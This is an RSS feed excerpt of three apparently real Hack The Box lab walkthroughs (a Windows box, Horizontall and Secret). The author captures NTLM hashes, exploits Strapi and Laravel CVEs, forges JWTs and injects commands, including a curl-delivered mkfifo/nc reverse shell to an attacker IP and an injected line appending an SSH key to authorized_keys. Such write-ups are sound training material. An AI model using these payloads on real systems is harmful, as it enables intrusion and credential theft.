            <atom:updated>2022-07-05T12:24:36.697Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*kMXa5JyiBRy0I2HfS6LC8g.png" /></figure><p>Hello everyone, this is my third time on writing a report about hack the box. I’m sorry if there are any mistakes that I made in this walkthrough.</p><h3>Enumeration</h3><p>First thing to do is enumerating the machine. I use nmap to enumerate all open ports.</p><blockquote>nmap -sV -sC -O -p- -T4 10.10.11.106</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*s6t5VTx-h5XSpt5igllG0A.png" /></figure><p>There are 4 open ports with service. Port 80 for HTTP, port 135 for MS RPC, port 445 for SMB, and port 5985 for WinRM. So, I go to port 80 and find that the website needs authorization. I use default credentials such as admin:admin1, admin:admin, administrator:password, etc. And luckily find the authorization among these default credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PraP1RHqOrycRkuT4Y_OwA.png" /></figure><p>This is the main webpage. Let’s search for interesting feature.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mIqHBAXLT1A_sUhePJxh8Q.png" /></figure><p>From here, I find that we can upload something to the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*qATtUiKBMJ9Q5ELjKi-irA.png" /></figure><p>Let’s give a shot. I try to upload test file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*j2q6zWlp2pveI99IPCVOTg.png" /></figure><p>And it successfully uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zWc4jVDZEjvhDtWaMxBVRg.png" /></figure><h3>Gaining Access</h3><p>From here, I know that we can upload a file and the server will store it using samba protocol on port 445. Searching on google and there are several websites recommends me using some of techniques. First, I will try with eternalblue using metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*r7vFuaBARmC9Ju0vaEAuAQ.png" /></figure><p>Setting some options to target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*7PrzAEjTLzO80oHPP5xd6g.png" /></figure><p>And run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*n3Gy-D_H_3rbLz0uHfccJg.png" /></figure><p>It seems SMB not vulnerable to eternalblue exploit using metasploit. Then, I try to psexec exploit using metasploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*cPi5J5AR66TesiJbVmIvDA.png" /></figure><p>Again, it is not vulnerable to psexec exploit. I don’t really know what’s wrong. After awhile, I find this <a href="https://ethicalhackingguru.com/the-complete-ntlm-relay-attack-tutorial/">website</a> that suggests me to capture the NTLM (New Technology LAN Manager) Hash. So, I use this <a href="https://github.com/Greenwolf/ntlm_theft">tool</a> to make a “scf” file and set up a responder to catch hashes that being thrown back to us.</p><blockquote>python3 ntlm_theft.py -f config -g scf -s 10.10.16.27(my ip)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*KiiaIkRnfLIwq0ftOuYdSw.png" /></figure><p>Setting up the responder that listens to tun0 as interface.</p><blockquote>responder -I tun0</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*framBU0A19ZKOUMxCQY3aw.png" /></figure><p>Uploading the scf file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nsfHy1RneMa-6w-TkkxNEQ.png" /></figure><p>Then, after finished the upload, I clicked browse and it returns hashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*AcnQ1Nz_6bZy0wf0aR4LdA.png" /></figure><p>Dehashing it using hashcat so I can get the credentials.</p><blockquote>hashcat -m 5600 hash.txt rockyou.txt — force -O</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*PXiBUXiOiTX_YZXgRIJrUQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*d7m1GCNnKiMbpkoOwhtrKg.png" /></figure><p>And find that liltony as the password and TONY as username. Then I use evil-winrm to login.</p><blockquote>evil-winrm -i 10.10.11.106(target) -u TONY(username) -p liltony(password) -P 5985(port)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ZLWxjS1qMIhkM2oO3uDZJw.png" /></figure><p>And I successfully gain the access. Enumerating the system and I find user.txt inside the Desktop folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/1*FWKlxTIGZBcTzKkYOj9eIA.png" /></figure><h3>Privilege Elevation</h3><p>Then I try to enumerate for exploits using <a href="https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS">winPEAS</a>. First, I upload the bat version of winPEAS. Using “upload” keyword to upload things through evil-winrm.</p><blockquote>upload /directory/winPEASbat</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oDKjXBxYmHRo7_baKXYSyA.png" /></figure><p>Run it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*TPTYFZJc8wSHp8yJc4X8yg.png" /></figure><p>And I found nothing from winPEASbat, then I try winPEASexe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*-CeRTe6K_4Uy2UMegFTkpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*AuOHcrEuRi1AeSrfDJjfmw.png" /></figure><p>Found some username with administrator privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*oq3sL5cjZFpdQULxbJn2dA.png" /></figure><p>And found some of this open ports running locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*fyWFeUWpmLo6i-HIghB_0A.png" /></figure><p>After searching in internet, I find this exploits, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527">CVE-2021–34527</a> and <a href="https://github.com/calebstewart/CVE-2021-1675">CVE-2021–1675</a>. Download the CVE-2021–1675 script and upload it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*xQYoaZSzj-nTgnU3Rx31Fg.png" /></figure><p>Then, I import modules from this CVE file and invoke the module.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HBk7HGotHBy3y1pIiIkcrQ.png" /></figure><p>After that, I try to login using username adm1n and password P@ssw0rd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*EsE85RGqzvDhry_6F6Y_Pw.png" /></figure><p>And successfully got the administrator privilege. Enumerating a while and find root.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*262FcrYPwamMcoOBGNDJTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*r8-crA0cW9t46afkyglHfg.png" /></figure><h3>Thank you for reading my report, hope this helps you or do anything good :D Have a great day!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1b89d38f5be3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Horizontall]]></title>
            <link>https://geranard.medium.com/htb-horizontall-6402b754b651?source=rss-18216447fa9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/6402b754b651</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Geranard]]></dc:creator>
            <pubDate>Sun, 23 Jan 2022 13:43:16 GMT</pubDate>
            <atom:updated>2022-07-05T12:25:05.009Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*5XNquKwseijGErpJk5FctA.png" /></figure><p>Hello everyone, this is my second time on writing a report about hack the box. I’m sorry if there are any mistakes that I made. I’ve finished the box on 23 January 2022.</p><h3>Enumeration</h3><p>First thing first, I use nmap to iterate through all ports.</p><blockquote>nmap -sC -sV -p- -O -T4 10.10.11.105</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*DVmBK1ZqJTk3sdoB_iZnFQ.png" /></figure><p>As we can see, there are 2 open ports with known service. Port 22 for SSH and port 80 for HTTP.</p><p>Port 22 used for secure shell that act as a remote to linux distro and port 80 used for HTTP and bring us to the page of a web.</p><p>Then, I go to <a href="http://10.10.11.105/">http://10.10.11.105</a>/ on port 80 to check the site. Can’t connect at first, I add 10.10.11.105 as horizontall.htb to /etc/hosts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gQKVDxb1S8nsK85Am5hVTg.png" /></figure><p>With a little bit of inspecting on the source code and copy paste it to code editor, I find another link to http://api-prod.horizontall.htb/reviews.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*EYUWH_9rrTTUGVFEwF7Tbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*rNlZFRI8_BQqp-KhTP5tRQ.png" /></figure><p>Add it to /etc/routes and we’re good to go.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*JB_s_ssOpsGhRRW2e9Nmyw.png" /></figure><p>Here it is, the API endpoint of horizontall box.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*IaX-rlv7DlGkeKLNbmRUIw.png" /></figure><p>So, I start to dirbusting on <a href="http://api-prod.horizontall.htb/">http://api-prod.horizontall.htb/</a> using dirbusters and found several interesting subdirectory such as /reviews, /reviews/count, /users, /admin, /admin/init, /admin/plugins, /admin/runtime~main.d078dc17.js, /admin/layout, /robots.txt, and /admin/robots.txt.</p><blockquote>dirbuster</blockquote><blockquote>url = <a href="http://10.10.11.120/">http://a</a>pi-prod.horizontall.htb/</blockquote><blockquote>payload = /usr/share/dirbusters/wordlists/directory-list-2.3-medium.txt</blockquote><blockquote>threads = 100</blockquote><blockquote>extension = php,txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*H1F46VhS7VoIrFJnhW0cNg.png" /></figure><p>Checking one of them and /reviews returns reviews from user. I assume that I have to be a user first to leave reviews. But, I don’t know where I can make one for myself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*GJtKEM8RvHGujcepZaPqwg.png" /></figure><p>Checking the other subdirectory, I find the landing page of the API that being used by API endpoint of horizontall. Searching about STRAPI gives me some information, including the usage of JWT (JSON Web Token) in this API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*vmB3BxGRYY_EXw3AhDF2LQ.png" /></figure><h3>Gaining Access</h3><p>It seems I must login as admin to access the API. So, I try to access /admin/init from dirbuster and it specifies the STRAPI version they use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*_rf24b_5Tk27jG_aQADrDA.png" /></figure><p>Quick search on internet about STRAPI 3.0.0-beta.17.4 and I find there is vulnerability in this version which is CVE-2019–18818 password handle. It says that I could change the admin password to something from it’s API endpoint which is /admin/auth/reset-password and found a source code for this <a href="https://vulners.com/zdt/1337DAY-ID-36686">exploit </a>which written in python. With a little edit on the python file to change the password from SuperStrongPassword1 to admin123.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/484/1*lZLxF4GdlX2UaIMr4DzD4w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*iXqHvgOMLZr3QxIb2dnW_w.png" /></figure><p>After changing the password, I successfully log on to the admin account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*qBLZY3EEWcVM6FbdOUbGZA.png" /></figure><p>So, with a little bit of research, I find CVE-2019–19609 about plugin install exploit and find a script to launch the exploit too from <a href="https://www.exploit-db.com/exploits/50238">here</a>. Then, I change it a little bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Cyxfbrrc2qRblFZFjA8nyQ.png" /></figure><p>After that, I set a listener using netcat and launch the code.</p><blockquote>nc -nlvp 7890</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*8W6UFFLBMnz-SiVPBlvntg.png" /></figure><p>It works. While enumerating the system, I find user flag inside /home/developer folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PoVyOt9XEYSeKTv7vfib7A.png" /></figure><p>Done with user flag. It’s time to find the root flag.</p><h3>Privilege Elevation</h3><p>To make things easy, I should stabilize the access to the machine. So, I try to access SSH by uploading public key to .ssh folder inside /home/developer.</p><p>First, I make a SSH public and private key using RSA algorithm.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*n2e08FvJmuNJALKJpKDSHQ.png" /></figure><p>Then, export it to environment variable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*vDUU9TAOIKjawYPdC2VBsg.png" /></figure><p>And using curl command, I send the public key I made to /home/developer/.ssh/authorized_keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*yRS_DSnIyLfYO2ncfw1cxA.png" /></figure><p>But, the problem is I can’t access the authorized keys file. From here I know that it doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*IuIWxoFKh6TaxfXiXbZgdA.png" /></figure><p>So, I try with another method which is using netcat to set a reverse shell and it works. I found the reference from this <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#netcat-traditional">cheatsheet</a>.</p><blockquote>curl -i -X “POST” -H “Authorization: Bearer {JWT}” -H “Content-type: application/json” — data ‘{“plugin”: “documentation &amp;&amp; $(rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2&gt;&amp;1 | nc 10.10.16.27 7890 &gt; /tmp/f; cat &lt; /dev/tcp/10.10.11.105/7890|sh)”, “port”: “1337”}’ “http://api-prod.horizontall.htb:80/admin/plugins/install&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K3Biry9CAsaZsquBzfMdzA.png" /></figure><p>Now, I have to enumerate the machine in order for me to elevate my privilege. I use <a href="https://github.com/carlospolop/PEASS-ng/blob/master/linPEAS/README.md">linpeas</a> to help me enumerate the whole machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OFPxNd9iW_uemQvhCu-QIA.png" /></figure><p>When I looking through the result 1 by 1, I get ports that used by the box. I think port 8000 and port 3306 are not in the nmap result. Quick search on these ports, it turns out port 8000 commonly used as an alternate HTTP port and port 3306 is SQL port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*JurzIcYIL6g8abLFCU443g.png" /></figure><p>It means that I can access the website through port 8000. I think I can open it from my own browser. Turns out, it only accessible from the local port.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*YPdONUTNRhGfxO2UFrhGHA.png" /></figure><p>Searching on how to port forward and I find this <a href="https://www.tecmint.com/create-ssh-tunneling-port-forwarding-in-linux/">article</a>. But, I have to use SSH public key. So, I make .ssh and upload my public key using SSH.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*FBnlPnX02finmKT2g9OVgQ.png" /></figure><p>Then, I copy the public key to ~/.ssh/authorized_keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*edIqsdOC6E_2VjrZ3FCG8g.png" /></figure><p>And I access to port 8000 with its shell in ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*ERkWCg-vWQjqUV_KPYlpmw.png" /></figure><p>From here, we know that the server running laravel v8 with php v7.4.18.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sFgMwN0nFihNhrvwvsXCCg.png" /></figure><p>Searching for the exploit and find this <a href="https://www.exploit-db.com/exploits/49424">exploit</a>. But, there is something wrong with the script, so I decide to use this <a href="https://github.com/nth347/CVE-2021-3129_exploit">script</a> instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*JuiEHyP7IcxucGUXx9UUdw.png" /></figure><p>Nice. Got the root flag. But, I haven’t maintain root access to the server. So, I try to see if .ssh folder already made in /root folder or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*JadYYcZWqvk6P0ddoiidVA.png" /></figure><p>It is already made and there is authorized keys file. What I want to do is echo my public key that I made before in gaining access section to the authorized keys file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*fRZzpXnONR4HfeU30tMmzQ.png" /></figure><p>It works when using cat. Try to login using private key that I made and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*2N7C-0Ntn3GpUIwwKMkhcQ.png" /></figure><h3>Thank you for reading my report, hope this helps you or do anything good :D Have a great day!</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6402b754b651" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB: Secret]]></title>
            <link>https://geranard.medium.com/htb-secret-1-7917072db510?source=rss-18216447fa9b------2</link>
            <guid isPermaLink="false">https://medium.com/p/7917072db510</guid>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Geranard]]></dc:creator>
            <pubDate>Sat, 15 Jan 2022 14:03:56 GMT</pubDate>
            <atom:updated>2022-07-05T12:25:44.880Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/641/0*5xBAJT9XOgoYvVUl.png" /></figure><p>Hello everyone, this is my first time on writing a report about hack the box. I’m sorry if there are any mistakes that I made. I’ve got user flag and root flag on 10 January 2022.</p><h3>Enumeration</h3><p>First, I use nmap to enumerate through open ports.</p><blockquote>nmap -p- -sC -sV -O -T4 10.10.11.120</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*9tPsIjUc9Pjka5B9fq3_fw.png" /></figure><p>This is what I get. As we can see, there are at least 3 ports that has open state and known service. Specifically, Port 22: SSH, Port 80: HTTP, and Port 3000: Node.js.</p><p>Port 22 used for secure shell that act as a remote to linux distro. Port 80 used for HTTP and bring us to the page of a web. Port 3000 usually used for API endpoint with node.js service.</p><p>First thing that comes up to mind is to test for common SSH password and as expected, no result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mVVi4pThcM1n0XNNIPIC5A.png" /></figure><p>So, I continue to open <a href="http://10.10.11.120/">http://10.10.11.120:80/</a> which is the main page of DUMB Docs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fsvnMmJcUd_ZEDbQqOpPcA.png" /></figure><p>And, there is a documentation on how to use port 3000 as API endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*DFOxtO5738w9hx01HJWXOw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*VUTJa-86EWjzFIj3P668Vg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*xso6_h_lHEeVwe45cGG4aA.png" /></figure><p>Several things that I get after reading the documentation are this api use JWT (JSON Web Token) for verifying the user and encode the token to the base64. With this in mind, I’m trying to make an account using python script. I use dasith.works as the email domain because I’m following the examples that documentation provides.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*pqHNlf7ouBfdzqslKhzVBw.png" /></figure><p>After that, I log on to the user that I made and the API returns me a series of JSON Web Token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nLasbBfcTuRBV_UmU7jw5A.png" /></figure><blockquote>“eyJHbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWQ5OGI5OWViMWRmYjA0NjRkMwQ5ZmYiLCJuYW1lIjoidGVzdHVzZXIxMjMiLCJlbWFpbCI6InRlc3R1c2VyMTIzQGRhc2l0aC53b3JrcyIsImlhdCI6MTY0MTY0NzE4OX0.OjXG9edkZeMRAMSY3X4CB7uHuYRfhhjg-QCl2KrVjJq”</blockquote><p>And try to send request to /api/priv. The API returns me role and description of the user that I got.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Q1KS5FalB6yAyTp_a-ojUw.png" /></figure><h3>Gaining Access</h3><p>Then, I remembered that dasith has admin privilege on this API.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*kfOfFLjLKDSUx40hrUKzQA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*pGs20a_Pkle1jvZRjVbSkQ.png" /></figure><p>Tried to use token that DUMB Docs gave. It didn’t work and return “invalid token”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*zYFQiYvFt4rRh9S3_VnrRg.png" /></figure><p>Curious what the token is actually saying, I decode it from base64 to ASCII.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*VmEJUWk_001DY0n0kuxbSw.png" /></figure><p>Quick search on internet about JWT and I find several websites said that we could try to change the “alg” header to “none” or “None”. Still, no result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*nbkyLtpRysDqUqKWJiUhtg.png" /></figure><p>Then, I find jwt.io. A website that can encode data to JWT. So, I try to change name field from “testuser123” to “theadmin” and email field from “testuser123@dasith.works” to “root@dasith.works”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*YvOQ9aWlqmh04rOXKvANpA.png" /></figure><p>Copy the token and paste it to “auth-token” header. It doesn’t work.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*nbkyLtpRysDqUqKWJiUhtg.png" /></figure><p>But, there is “secret” field in jwt.io that we can fill with secret the token use to verify signature. JWT use x.y.z format and the z part is signature part. So, I try to dirbusting using Dirbuster. ’Cause sometimes people forget to keep hidden directory from public.</p><blockquote>dirbuster</blockquote><blockquote>url = <a href="http://10.10.11.120/">http://10.10.11.120/</a></blockquote><blockquote>payload = /usr/share/dirbusters/wordlists/directory-list-2.3-medium.txt</blockquote><blockquote>threads = 100</blockquote><blockquote>extension = php,txt</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*gNBXfC0mwqI83E3O_pBuWg.png" /></figure><p>Results show there are subdirectory named /download/files and /api/logs which never been mentioned before in the documentation. When I access /download/files, my browser starts to download files.zip. Turns out, it is the source code of this web application. Unzip it and it becomes local-web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*PDmTZ3ZTfwQrc3OQYspwpA.png" /></figure><p>And now we can see all of the source code. Subfolder that contains verifying token to the API is routes. Check it and find that it requires env file (line 8).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/801/1*dzvWa6NsIXfK8CVm4dtsiQ.png" /></figure><p>Then, I try to see if there is any hidden files/folders using “ls -a”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IYAAe7p-ShHv-2tt8PM87g.png" /></figure><p>There is .env there as file and .git as folder. Now, I’m using “cat” to see the content of .env. It shows me the token secret, which is secret.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*eXHArxgXE1o7pR_siFbFIQ.png" /></figure><p>Back to jwt.io and put “secret” into secret field.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*Zy0DeFi06K9PCRJANWMr1Q.png" /></figure><p>Try it again and the token is still invalid.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*GtHyCauFJpF1P7H0EgYlrQ.png" /></figure><p>It means there are something wrong with secret. A lot of head scratching while reviewing files and folders of source code, I found something interesting in .git.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*jCE9l_4PQjKJXlU2tz8owQ.png" /></figure><p>Turns out, the changes that were made stored inside this .git folder. Plus, “removed .env for security reasons” mentioned here. But, from what we see, .env hasn’t deleted. Searching on internet about how to use git command and I found that I can see the history of source code that has been changed.</p><blockquote>cd /.git/logs/refs/heads</blockquote><blockquote>git log -p file</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*zLr7NbjkgpcsG8qOuDjWjA.png" /></figure><p>Bingo! I hope this is the real secret token that I search for. Then, I put the TOKEN_SECRET to secret field and copy the authentication token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*MfC--hoSQlfURTgDybd7Sw.png" /></figure><p>And it works like a charm! With admin user in our hand, I hope I can gain access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*njN3l6Dzke0XJufmc4dQRQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*ef_ZsMWiWgEwFu9-WKddYA.png" /></figure><p>Then I tried to access <a href="http://10.10.11.120/api/logs.">http://10.10.11.120/api/logs</a> to using “theadmin” token as “auth-token”. Before using “theadmin” authentication token, I’ve opened this subdirectory and all it said is “Access Denied”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*zruug-c5pl7QWhQbyOe2Eg.png" /></figure><p>It mentioned “cmd: git log -oneline undefined”. I guess, the “undefined” part supposed to be a file name. A quick check on “git log -p .git/refs/head/master.” It showed me that I can use it to see the log of certain file such as index.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*7-DnaMsAGath5Otw2sTSXA.png" /></figure><p>Then, I find how to send filename through API endpoint.</p><blockquote>curl <a href="http://localhost:3000/history?file=app.js">http://localhost:3000/history?file=</a> index.js</blockquote><p>Apply it in my script and use it to send the filename. It shows return code 200 which means successful. It mentions the return value of “git log — oneline undefined”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*a4OlcfXQYMgAT9elkFv1bQ.png" /></figure><p>And I find another trick using semicolon. I forgot that semicolon can be used to send several commands.After that, I try to access netcat by setting a listener.</p><blockquote>git log — oneline index.js; ls</blockquote><blockquote>file=index.js; nc -nlvp 1234 -e /bin/bash</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*xMTeQlAHT5giU-UNLcwZ_A.png" /></figure><p>Got 500 error response which means there are something wrong with the server. Then, I try to use ls command to show if there are any user flag and I find “user.txt” in “/home/dasith”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*RpdEnZk0UnPQCFbK0KXC9A.png" /></figure><p>Found it! Then, I decided to make API wrapper in python for DUMB Docs. You can access it here: <a href="https://github.com/Geranard/htb-secret-wrapper">https://github.com/Geranard/htb-secret-wrapper</a>. Now, that left me with root flag.</p><h3>Privilege Elevation</h3><p>In order to take root flag, I have to gain access to SSH. So, I make .ssh file inside “/home/dasith”,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*3vsQU7clrHlb_hXRNgduiA.png" /></figure><p>make SSH key based on RSA with 4096 bits and named it key.</p><blockquote>ssh-keygen -t rsa -b 4096 -f key -C user@htb</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*MgJjz0bUD_vcEO3dJami1w.png" /></figure><p>Then, private and public key generated. Now, I need to transfer the public key to .ssh/authorized_keys inside target machine. So, I paste my RSA public key. SSH still requires authentication, which means there was something wrong with my code. I don’t know why my script can’t be used to send public key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*wc3P3_VBACh32EWku6bZbA.png" /></figure><p>Then, I think about using curl to send the public key. Decided to put public key inside a kali variable. Because, from what I find on internet, the type of variable needs to be passed too as an environment variable.</p><blockquote>curl -H “auth-token: TOKEN” -G — data-urlencode “file=index.js;echo $KEY_PUB &gt;&gt; ../.ssh/authorized_keys” “http://10.10.11.120/api/logs&quot;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*IbDePAgo05KnHmfjkPiCrw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*S6vq9c1luxBZ9KLlKX3GFA.png" /></figure><p>And it works. Now I could login to user as dasith. But, I still need to elevate my privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*pUb2nKWCO7OY6RjIGtlQdw.png" /></figure><p>First thing I do is enumerating the system. A lot of searching later, I found something inside /opt folder. Usually, /opt contains packages including codes that I can use to elevate privilege. Seeing count file in red background make me interested. When I open this “count” file, turns out it is a program that has similar function to “wc” keyword in linux which used to count characters and etc inside a file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*OzaA_IyDit7YmQYk4f1aOg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*HT-YZzRfqXjo3pPFCJxJCg.png" /></figure><p>Quick search on internet how to do privilege elevation using program. Some articles said I should run it and crash it. Use ps to show process ID and kill it with -SIGSEGV (signal segmentation) flag because it will store the crash log and make it crashed as if there are something wrong with the memory segment. I assume “root.txt” is inside the “/root” folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*g8sCUd_56cWIH2wO7Q_4TQ.png" /></figure><p>The crash log stored in /var/crash/_opt_count.1000.crash. Those other two are not accessible. I can’t print it using “cat”. Searching for an alternative and found apport-unpack command. After unpacking the crash log, I use strings to show the content.</p><blockquote>apport-unpack _opt_count.1000.crash /home/dasith/crash</blockquote><blockquote>cd /home/dasith/crash</blockquote><blockquote>strings crash/CoreDump</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*6-a8PuAWnh8VTSqFGUmXpg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*h4qI8eg9D-HT9Eyil103-A.png" /></figure><p>Surprisingly, there’s file content inside root.txt and submitted it to HTB. But, I haven’t elevate the privilege yet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*NUn6SrtflFlas6vxPP3uZw.png" /></figure><p>So, I try to use steal the SSH private key from “/root” folder using the same method assuming “/root” is the same user as “/home/dasith” with different privilege.</p><figure><img alt="" 